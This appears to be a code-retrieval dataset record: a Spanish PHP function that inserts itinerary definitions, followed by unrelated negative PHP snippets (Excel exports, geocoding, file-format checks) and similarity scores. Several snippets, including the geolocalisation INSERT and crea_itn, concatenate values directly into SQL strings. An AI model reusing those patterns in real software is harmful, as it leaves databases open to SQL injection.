'CANTIDAD')\n ->setCellValue('D8', 'FECHA DEVOLUCION')\n ->setCellValue('E8', 'N°BOLETA');\n\n\n//,,\n $result = $bdProyectos ->ListarDevolucionesPorMaterial($Codigo, $ID_Proyecto);\n\n\n $i = 9;\n$totalDevuelto = 0;\n while ($fila = mysqli_fetch_array($result, MYSQLI_ASSOC)) {\n $totalDevuelto = $totalDevuelto+$fila['Cantidad'];\n $objPHPExcel->setActiveSheetIndex($indice)\n ->setCellValue(\"C$i\", $fila['Cantidad'])\n ->setCellValue(\"D$i\", date('d/m/Y', strtotime($fila['fecha'])))\n ->setCellValue(\"E$i\", $fila['NBoleta']);\n $i++;\n }\n \n $rango = \"C8:E$i\";\n\n $x = $i=$i+4;\n $objPHPExcel->setActiveSheetIndex($indice)\n ->setCellValue(\"C$i\", \"Total Prestado\")\n ->setCellValue(\"D$i\", \"Devolucion\") \n ->setCellValue(\"E$i\", \"Pendiente\");\n $i=$i+1;\n $result = $bdProyectos->ObtenerTotalMaterialPrestadoProyecto($Codigo, $ID_Proyecto);\n $fila = mysqli_fetch_array($result, MYSQLI_ASSOC);\n $cantaidadPrestada = $fila['CantidadIngreso'];\n $pendiente = $cantaidadPrestada - $totalDevuelto;\n $objPHPExcel->setActiveSheetIndex($indice)\n ->setCellValue(\"C$i\", $cantaidadPrestada)\n ->setCellValue(\"D$i\", $totalDevuelto) \n ->setCellValue(\"E$i\", $pendiente);\n \n \n//\n // Fuente de la primera fila en negrita\n //Alinear al centro ,'alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER)\n $objPHPExcel->getActiveSheet()->getStyle('C2:F6')->applyFromArray(array('font' => array('bold' => true, 'name' => 'Calibri', 'size' => 18)));\n // $objPHPExcel->getActiveSheet()->getStyle('A1:Z200')->getFill()->applyFromArray(array(\n // 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n // 'startcolor' => array('rgb' => 'ffffff')));\n $objPHPExcel->getActiveSheet()->getStyle('C8:E8')->applyFromArray(\n array('font' => array('bold' => true, 'name' => 'Calibri', 'size' => 14, 'color' => array('rgb' => 'ffffff')),\n 'alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER),\n 'borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => 'FFF'))))\n );\n\n\n $objPHPExcel->getActiveSheet()->getStyle($rango)->applyFromArray(array('alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER),\n 'borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => 'FFF')))));\n\n $objPHPExcel->getActiveSheet()->getStyle('C8:E8')->getFill()->applyFromArray(array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'startcolor' => array('rgb' => '003DA6')));\n \n //esto es para la segunda tabla la de resumen\n \n $objPHPExcel->getActiveSheet()->getStyle(\"C$x:E$x\")->applyFromArray(\n array('font' => array('bold' => true, 'name' => 'Calibri', 'size' => 14, 'color' => array('rgb' => 'ffffff')),\n 'alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER),\n 'borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => 'FFF'))))\n );\n \n $objPHPExcel->getActiveSheet()->getStyle(\"C$x:E$x\")->getFill()->applyFromArray(array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'startcolor' => array('rgb' => '003DA6')));\n $objPHPExcel->getActiveSheet()->getStyle(\"C$x:E$i\")->applyFromArray(array('alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER),\n 'borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => 'FFF')))));\n\n /* Establecer tamanos a las celdas */\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(40);\n $objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(25);\n $objPHPExcel->getActiveSheet()->getColumnDimension('F')->setWidth(25);\n $objPHPExcel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n $objDrawing = new PHPExcel_Worksheet_Drawing();\n $objDrawing->setName('imgNotice');\n $objDrawing->setDescription('Noticia');\n $img = '../resources/imagenes/proycon.png'; // Provide path to your logo file\n $objDrawing->setPath($img);\n $objDrawing->setOffsetX(28); // setOffsetX works properly\n $objDrawing->setOffsetY(200); //setOffsetY has no effect\n $objDrawing->setCoordinates('A1');\n $objDrawing->setHeight(100); // logo height\n $objDrawing->setWorksheet($objPHPExcel->setActiveSheetIndex($indice));\n //Nombre de la hoja\n $objPHPExcel->getActiveSheet()->setTitle($Codigo);\n \n}", "public function add_file($map,$excel)\n\t{\n\t\t$id = $this->input->post('id');\n\t\t$this->db->select('project_id');\n\t\t$this->db->from('survey');\n\t\t$this->db->where('project_id', $id);\n\t\t$query = $this->db->get()->row();\n\t\t// pengecekan apakah project_id sudah dibuat atau belum. jika belumm maka\n \tif ($query == null) {\n \t\t$data = [\n\t\t\t\t\"project_id\" \t\t=> $this->input->post('id'),\n\t\t\t\t\"create_by\"\t\t\t=> $this->session->userdata('mitra_id'),\n\t\t\t\t\"file_map\"\t\t\t=> $map,\n\t\t\t\t\"file_excel\"\t\t=> $excel,\n\t\t\t\t\"create_on\" => date('Y-m-d'),\n\t\t\t\n\t\t\t\t\n\t\t\t];\n\t\t\t$this->db->insert('survey', $data);\n\t\t}\n\t}", "function Insert(GeolocalisationEntity $geo) {\r\n\r\n $req = \"INSERT INTO geolocalisation ( lon , lat ) VALUES ( '\" . $geo->getLon() . \"','\" . $geo->getLat() .\"')\";\r\n $id = mysql_query($req) or die(\"********** Erreur d'ajoute **********<br>\");\r\n echo \"********** Ajout avec succés **********<br>\";\r\n return mysql_insert_id();\r\n }", "public function revisarFormato($archivo, $tipo_archivo)\n {\n\n\n Excel::selectSheetsByIndex(0)->load($archivo, function($reader) use ($tipo_archivo) {\n\n $reader->noHeading();\n\n $firstrow = $reader->first()->toArray();\n\n /*\n *Normalizando los nombres de las columnas (eliminamos acentos,espacios y Ñ)\n */\n $originales ='áéíóú ñ';\n $modificadas ='aeiou_n';\n\n for($i=0; $i < count($firstrow); $i++){\n $cadena = $firstrow[$i];\n $cadena = utf8_decode($cadena);\n $cadena = strtr($cadena, utf8_decode($originales), $modificadas);\n $cadena = strtolower($cadena);\n $firstrow[$i] = utf8_encode($cadena);\n }\n\n /*\n * Revisamos que el archivo tiene todas las columnas que se piden\n * y que sus nombres corresponden con los establecidos\n */\n\n switch($tipo_archivo)\n {\n case \"registros\":\n if (count($firstrow) >= 15) {\n if (($firstrow[0] == 'phylum') && ($firstrow[1] == 'clase') && (($firstrow[2] == 'subclase')\n && ($firstrow[3] == 'orden') && ($firstrow[4] == 'familia') && ($firstrow[5] == 'genero')\n && ($firstrow[6] == 'especie') && ($firstrow[7] == 'variedad') && ($firstrow[8]) == 'forma')\n && ($firstrow[9] == 'autor') && ($firstrow[10] == 'sinonimia') && ($firstrow[11] == 'cita')\n && ($firstrow[12] == 'entidad_federal') && ($firstrow[13] == 'localidad') && ($firstrow[14] == 'comentario')\n ) {\n $this->log = \"Archivo de Registros para el Catálogo con estructura correcta\";\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"libros\":\n if (count($firstrow) >= 16) {\n if (($firstrow[0] == 'cita') && ($firstrow[1] == 'autores') && (($firstrow[2] == 'fecha')\n && ($firstrow[3] == 'titulo_libro') && ($firstrow[4] == 'edicion') && ($firstrow[5] == 'editorial')\n && ($firstrow[6] == 'lugar') && ($firstrow[7] == 'total_de_paginas') && ($firstrow[8]) == 'titulo_capitulo')\n && ($firstrow[9] == 'editor') && ($firstrow[10] == 'intervalo_de_paginas') && ($firstrow[11] == 'isbn')\n && ($firstrow[12] == 'doi') && ($firstrow[13] == 'enlace')&& ($firstrow[14] == 'archivo') && ($firstrow[15] == 'comentarios')\n ) {\n $this->log = 'Archivo de Referencias de Libros con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"revistas\":\n if (count($firstrow) >= 14) {\n if (($firstrow[0] == 'cita') && ($firstrow[1] == 'autores') && (($firstrow[2] == 'fecha')\n && ($firstrow[3] == 'titulo') && ($firstrow[4] == 'nombre_revista') && ($firstrow[5] == 'volumen')\n && ($firstrow[6] == 'numero') && ($firstrow[7] == 'intervalo_de_paginas') && ($firstrow[8]) == 'isbn')\n && ($firstrow[9] == 'issn') && ($firstrow[10] == 'doi') && ($firstrow[11] == 'enlace')\n && ($firstrow[12] == 'archivo') && ($firstrow[13] == 'comentarios')\n ) {\n $this->log = 'Archivo de Referencias de Revistas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"trabajos\":\n if (count($firstrow) >= 11) {\n if (($firstrow[0] == 'tipo') && ($firstrow[1] == 'cita') && ($firstrow[2] == 'autores') && ($firstrow[3] == 'fecha')\n && ($firstrow[4] == 'titulo') && ($firstrow[5] == 'institucion') && ($firstrow[6] == 'lugar')\n && ($firstrow[7] == 'paginas') && ($firstrow[8] == 'enlace') && ($firstrow[9] == 'archivo') && ($firstrow[10] == 'comentarios')\n ) {\n $this->log = 'Archivo de Referencias de Revistas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n case \"enlaces\":\n if (count($firstrow) >= 11) {\n if (($firstrow[0] == 'cita') && ($firstrow[1] == 'autores') && ($firstrow[2] == 'fecha') && ($firstrow[3] == 'nombre_pagina')\n && ($firstrow[4] == 'titulo') && ($firstrow[5] == 'institucion') && ($firstrow[6] == 'lugar')\n && ($firstrow[7] == 'direccion_web') && ($firstrow[8] == 'dia_consulta') && ($firstrow[9] == 'mes_consulta') && ($firstrow[10] == 'ano_consulta')\n ) {\n $this->log = 'Archivo de Referencias de Revistas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"coordenadas\":\n if (count($firstrow) >= 6) {\n if (($firstrow[0] == 'entidad') && ($firstrow[1] == 'localidad') && ($firstrow[2] == 'lugar') && ($firstrow[3] == 'sitio')\n && ($firstrow[4] == 'latitud') && ($firstrow[5] == 'longitud')\n ) {\n $this->log = 'Archivo de Coordenadas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n default:\n $this->log = \"Error en el tipo de archivo\";\n $this->error = true;\n }\n\n\n\n\n\n });\n\n $respuesta = ['error' => $this->error, 'log' => $this->log];\n\n return $respuesta;\n }", "public function equipementlocationListerTous()\n\t{\n\t\t// votre code ici\n\t\treturn Gestion::lister(\"EquipementLocation\");//type array\n\t}", "public function export_excel(){\n // Load plugin PHPExcel nya\n include APPPATH.'third_party/PHPExcel/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('SIMITA')\n ->setLastModifiedBy('SIMITA')\n ->setTitle(\"Data Koneksi Internet\")\n ->setSubject(\"Koneksi Internet\")\n ->setDescription(\"Laporan Data Koneksi Internet\")\n ->setKeywords(\"Laporan\");\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"LAPORAN DATA INVENTORY INTERNET CABANG\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->getActiveSheet()->mergeCells('A1:G1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 \n $excel->setActiveSheetIndex(0)->setCellValue('B3', \"CABANG\"); // Set kolom B3 \n $excel->setActiveSheetIndex(0)->setCellValue('C3', \"PROVIDER\"); // Set kolom C3 \n $excel->setActiveSheetIndex(0)->setCellValue('D3', \"NO.PELANGGAN\"); // Set kolom D3 \n $excel->setActiveSheetIndex(0)->setCellValue('E3', \"IP PUBLIC\"); // Set kolom E3 \n $excel->setActiveSheetIndex(0)->setCellValue('F3', \"Tgl. Kontrak\");\n $excel->setActiveSheetIndex(0)->setCellValue('G3', \"Tgl. Habis Kontrak\");\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n $internet = $this->m_internet->semua()->result();\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($internet as $data){ // Lakukan looping pada variabel\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->nama_cabang);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->nama_provider);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nomor_pelanggan);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->ip_public);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->tanggal_kontrak);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->masa_kontrak);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(25); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(20); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(25); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Siswa\");\n $excel->setActiveSheetIndex(0);\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Laporan Koneksi Internet.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "function geoCodeXSet($modmap){\n // Cas ou l'on passe directement un oid\n if(!is_array($modmap)) $modmap=$this->xset->rdisplay($modmap);\n $nq = 0; $nqn = 0;\n $fname = $modmap['ofname']->raw;\n $ftable = $modmap['oftable']->raw;\n XLogs::notice(get_class($this),get_class($this).\"::geoCodeAutoXSet start\");\n $xset = XDataSource::objectFactoryHelper8('BCLASS=XDSTable&SPECS='.$ftable);\n $rs = selectQuery($xset->select_query(array()));\n $tests = 0;\n $delay = 0;\n while($rs && ($ors = $rs->fetch())){\n \n $pending = true;\n \n while($pending){\n\t$foo = array();\n\t$ofc = $xset->getField($fname);\n\t$fv = $ofc->edit($ors[$fname], $foo);\n\tif($fv->type == 'A' && ($fv->accuracy == '' || $fv->accuracy == 'N/A' || empty($fv->upd) || $ors['UPD'] > $fv->upd || \n\t\t\t\t$modmap['oUPD']->raw > $fv->upd)){\n\t $gar = array();\n\t $addressfields = explode(' ', $modmap['ofgcaddr']->raw);\n\t foreach($addressfields as $foo=>$afn){\n\t $afv = trim($ors[$afn]);\n\t if (!empty($afv))\n\t $gar['address'][] = array('value'=>$afv, 'retry'=>true, 'default'=>NULL);\n\t }\n\t $gar['city'] = array('value'=>$ors[$modmap['ofgctown']->raw], 'retry'=>true, 'default'=>NULL);\n\t $gar['zipcode'] = array('value'=>$ors[$modmap['ofgczipc']->raw], 'retry'=>false, 'default'=>NULL);\n\t $gar['country'] = array('value'=>$ors[$modmap['ofgccntr']->raw], 'retry'=>false, 'default'=>NULL);\n\t $nq += 1;\n\t $rg = $this->googleGeoCode($gar, 0, $ors['KOID']);\n\t list ($ok, $mess, $accuracy, $coords, $maddress, $retry, $query) = $rg;\n\t XLogs::notice(get_class($this).get_class($this).\"::googleGeoCode $ok $mess $retry $query\");\n\t $tests += 1;\n\t if ($ok){\n\t $pending = false;\n\t $fres = array('latlng'=>$coords[1].';'.$coords[0],\n\t\t\t 'autogc'=>1,\n\t\t\t 'accuracy'=>$accuracy);\n\t $xset->procEdit(array('_options'=>array('local'=>true),\n\t\t\t\t 'tplentry'=>TZR_RETURN_DATA,\n\t\t\t\t $fname=>$fres,\n\t\t\t\t 'oid'=>$ors['KOID']));\n\t } else if ($mess == 'too many query'){\n\t $delay += 100000; // pending reste a true\n\t XLogs::notice(get_class($this),get_class($this).\"::geoCodeAutoXSet delaying $delay $nq\");\n\t XLogs::update('geocoding', NULL, \"incr delaying $delay $nq\");\n\t }else{\n\t $pending =false;\n\t $fres = array('latlng'=>'',\n\t\t\t 'autogc'=>1,\n\t\t\t 'accuracy'=>0);\n\t $xset->procEdit(array('_options'=>array('local'=>true),\n\t\t\t\t 'tplentry'=>TZR_RETURN_DATA,\n\t\t\t\t $fname=>$fres,\n\t\t\t\t 'oid'=>$ors['KOID']));\n\t \n\t }\n\t} else { \n\t XLogs::notice(get_class($this),get_class($this).\"::geCodeXSet up to date \".$ors['KOID']);\n\t $nqn += 1;\n\t $pending = false;\n\t $delay = 0;\n\t}\n\tusleep($delay);\n\tXLogs::notice('XModMap', \"geoCodeXSet query $nq ommitted $nqn of {$rs->rowCount()}\");\n }\n }\n XLogs::notice(get_class($this),get_class($this).\"::geoCodeAutoXSet end\");\n return array('nq'=>$nq, 'nqn'=>$nqn, 'nt'=>$rs->rowCount());\n }", "function geoCodeAuto($ar){\n $p = new XParam($ar, array());\n $done = array();\n $cr =\"\";\n XLogs::notice(get_class($this),get_class($this).\"::geoCodeAuto start\");\n $rs = selectQuery(\"select ftable, fname, KOID from {$this->table} where fgcauto=1\");\n $cr .= \"{$rs->rowCount()} map(s) to scan\";\n XLogs::update('geocoding', NULL, 'start '.$cr);\n while($rs && $ors = $rs->fetch()){\n if (!isset($done[$ors['ftable'].$ors['fname']])){\n\t$cr = \"scanning : {$ors['ftable']} {$ors['fname']}\\n\";\n\t$done[$ors['ftable'].$ors['fname']] = array();\n\t$modmap = $this->xset->rdisplay($ors['KOID']);\n\t$r = $this->geoCodeXSet($modmap);\n\t$cr .= \"\\t rows : {$r['nt']} querie(s) : {$r['nq']} omitted : {$r['nqn']}\\n\";\n\tXLogs::update('geocoding', NULL, $cr);\n }\n }\n XLogs::notice(get_class($this),get_class($this).\"::geoCodeAuto end\");\n // compte rendu ?\n XLogs::update('geocoding', NULL, 'end');\n }" ]
[ "0.5955372", "0.5752802", "0.57108444", "0.5563425", "0.54933167", "0.5460124", "0.540135", "0.53771704", "0.5295756", "0.52934384", "0.52718526", "0.5252045", "0.5188542", "0.5188542", "0.5174694", "0.5148169", "0.51303715", "0.5109487", "0.5083616", "0.5075504", "0.5064973", "0.5030571", "0.49915147", "0.4991239", "0.49910873", "0.4988415", "0.4982084", "0.4982084", "0.4965901", "0.4963898", "0.49632266", "0.49565947", "0.49526018", "0.4949921", "0.4936004", "0.49309564", "0.4930728", "0.49304983", "0.492604", "0.4914289", "0.4903807", "0.48906946", "0.48826614", "0.48785645", "0.48697293", "0.48665038", "0.48631886", "0.48603243", "0.4850854", "0.4850575", "0.48458987", "0.48431796", "0.48377353", "0.48268622", "0.4826721", "0.48196647", "0.48186493", "0.481731", "0.48137113", "0.4811409", "0.4811125", "0.4802967", "0.47986108", "0.4797568", "0.47908908", "0.47898978", "0.47892907", "0.4788404", "0.47849926", "0.47668874", "0.47652516", "0.47600394", "0.47539023", "0.4752898", "0.47444093", "0.4740032", "0.47399592", "0.4737623", "0.4735948", "0.47273192", "0.47226807", "0.47220087", "0.4718346", "0.47086284", "0.47035605", "0.47024387", "0.46958986", "0.46916318", "0.468944", "0.46868914", "0.46808288", "0.46785855", "0.4673758", "0.4672885", "0.46713662", "0.4669645", "0.46692508", "0.4668889", "0.4668392", "0.46660736" ]
0.49666741
28
fin funcion que crea ruta,asigna unidad, y geopunto. /
function crea_itn($r,$string,$u){ global $db,$dbf,$fecha_con_formato; $cadena = explode("[",$string); $cadena2 = explode("@",$cadena[10]); for($c=0;$c<count($cadena2);$c++){ $sql_z = "SELECT ID_ITINERARIO,ID_DIA FROM ITN_DEFINICION WHERE ID_ROUTE = ".$r." AND ID_DIA = ".$cadena2[$c]; $kuery = $db->sqlQuery($sql_z); $con = $db->sqlEnumRows($kuery); $row = $db->sqlFetchArray($kuery); if($con > 0){ echo "no se hace algo <br>"; }else{ echo "insertar ".$r.','.$cadena2[$c].','.$u.'<br />'; $datos = Array( 'ID_ROUTE' => $r, 'ID_DIA' => $cadena2[$c], 'COD_USER' => $u, 'CREADO' => $fecha_con_formato, 'ACTIVO' => 1 ); if($dbf-> insertDB($datos,'ITN_DEFINICION',false) == true){ $bandera = 1; echo 1; } else{ echo 0; } } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function crea_ruta_punto($itm,$r){\n\t \n\n global $db,$dbf,$fecha_con_formato,$cp,$cpno, $existe_punto_detalle;\n $cuenta_puntos=0;\n\t$cuenta_puntos_no = 0;\n\t$otra_ban = 0;\n\t$bandera =0;\n \n\t\t\t\t$usuario = \"SELECT COD_OBJECT_MAP FROM SAVL_G_PRIN WHERE ITEM_NUMBER = '\".$itm.\"'\";\n\t\t\t $query_user = $db->sqlQuery($usuario);\n\t\t\t\t$row_user = $db->sqlFetchArray($query_user);\n\t\t\t\t$count_user = $db->sqlEnumRows($query_user);\t \t \n\t\t\t\t\t\t\t \n\t\t\t\t\tif($count_user > 0)\t{\t\t\n\t\t\t\t \n \t\t\t\t\t$punto = \"SELECT COD_OBJECT_MAP FROM SAVL_ROUTES_DETAIL WHERE COD_OBJECT_MAP =\".$row_user['COD_OBJECT_MAP'];\n \t\t\t $query_punto = $db->sqlQuery($punto);\n \t\t\t\t $count_punto = $db->sqlEnumRows($query_punto);\n\t\t\t\t \n \t\t\t\t if($count_punto>0){\n \t\t\t\t\t\t // $existe_punto = $existe_punto +1;\n \t\t\t\t echo \"ya existe el geopunto en routes_detail, se guardara este mismo geopunto con otra ruta...\";\n\t\t\t\t\t\t\t\t\t\t\t$otra_ban = 1;\n \t\t\t\t\t\t }\n\t\t\t\t \n \t\t\t\t //if($count_punto==0){\n \t\t\t\t\t\t\t $data_2 = Array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'ID_ROUTE' => $r,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'COD_OBJECT_MAP' => $row_user['COD_OBJECT_MAP'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t'CREATE_DATE' => $fecha_con_formato\n\t\t\t\t\t\t\t\t\t\t\t\t );\n \t\t\t\tif($dbf-> insertDB($data_2,'SAVL_ROUTES_DETAIL',false) == true){\n \t\t\t\t\t\t\t\t\t $bandera = 1;\n \t\t\t\t\t\t\t\t\t echo 1;\t\t\n }\telse{\n echo 0;\t\n }\t\n \t\t\t // }else{\n \t\t\t\t\t //\t\t$bandera = 0;\n \t\t\t\t\t //}\n\t\t\t\t \n\t\t\t\t }\n\n\t\t\tif($bandera ==1){\n\t\t\t $cp = $cp +1;\n\t\t\t}else{\n\t\t\t $cpno = $cpno +1;\n\t\t\t}\t\t\t\t\t\t\t\n\t\t\t\t\t \n\t\t\tif($otra_ban ==1){\n\t\t\t $existe_punto_detalle = $existe_punto_detalle +1;\n\t\t\t} \n \n }", "function crear_ruta_unidad($un_x,$r_x,$usu,$cli){\n\t\n global $db,$dbf,$fecha_con_formato,$nueva_ruta,$insertar_ruta_unidad;\n\t \n\n $data = Array(\n \t'DESCRIPTION' => utf8_decode(strtoupper($r_x)),\n 'COD_USER' => $usu,\n 'COD_CLIENT' => $cli,\n 'CREATE_DATE' => $fecha_con_formato\n \n );\n \n if($dbf-> insertDB($data,'SAVL_ROUTES',true) == true){\n echo \"se genero la ruta, ahora se asigna unidad a ruta siempre y cuando sea diferente de -1 en el cod_entity\";\n\t\t\t\t\n\t\t\t\t$ruta = \"SELECT ID_ROUTE FROM SAVL_ROUTES WHERE DESCRIPTION LIKE '%\".strtoupper($r_x).\"%'\";\n\t\t\t\t $query = $db->sqlQuery($ruta);\n\t\t\t\t $row = $db->sqlFetchArray($query);\n\t\t\t\t \t$count_x = $db->sqlEnumRows($query);\t \n\t\t\t\t\t\n\t\t\t\t\t \t\n\t\t\t\tif($un_x!=-1) {\n\t\t\t\t\t $data_3 = Array(\n\t\t\t\t\t\t\t\t\t 'ID_ROUTE' => $row['ID_ROUTE'],\n\t\t\t\t\t\t\t\t\t 'COD_ENTITY' => $un_x,\n\t\t\t\t\t\t\t\t\t 'COD_USER' => $usu,\n\t\t\t\t\t\t\t\t\t 'CREATE_DATE' => $fecha_con_formato\n\t\t\t\t\t\t\t\t\t );\n\t\t\t\t\t\t\t if($dbf-> insertDB($data_3,'SAVL_ROUTES_UNITS',true) == true){\n \t\t\t\t\t echo \"info de la ruta\".$row['ID_ROUTE'].'-'.$un_x.'-'.$usu.'-'.$fecha_con_formato.'<br />';\n\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t }else{\n \t\t\t\t echo \"fallo en ruta-unidad\";\t\n }\n\t\t\t\t\t\t\t \n\t\t\t }\t\t\t\t \t\t\t\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t $nueva_ruta = $row['ID_ROUTE'];\t\t\n $insertar_ruta_unidad = $insertar_ruta_unidad + 1;\n}", "function guifi_get_map_info($node) {\n $map_info = array();\n \n // Obtenim les variables de retall del mapa. \n // - (X,Y) ó (UTMx, UTMy) ó (Lon,Lat)\n $map_info['datum'] = 5;\n $map_info['zone'] = 31;\n $map_info['nord'] = 1;\n 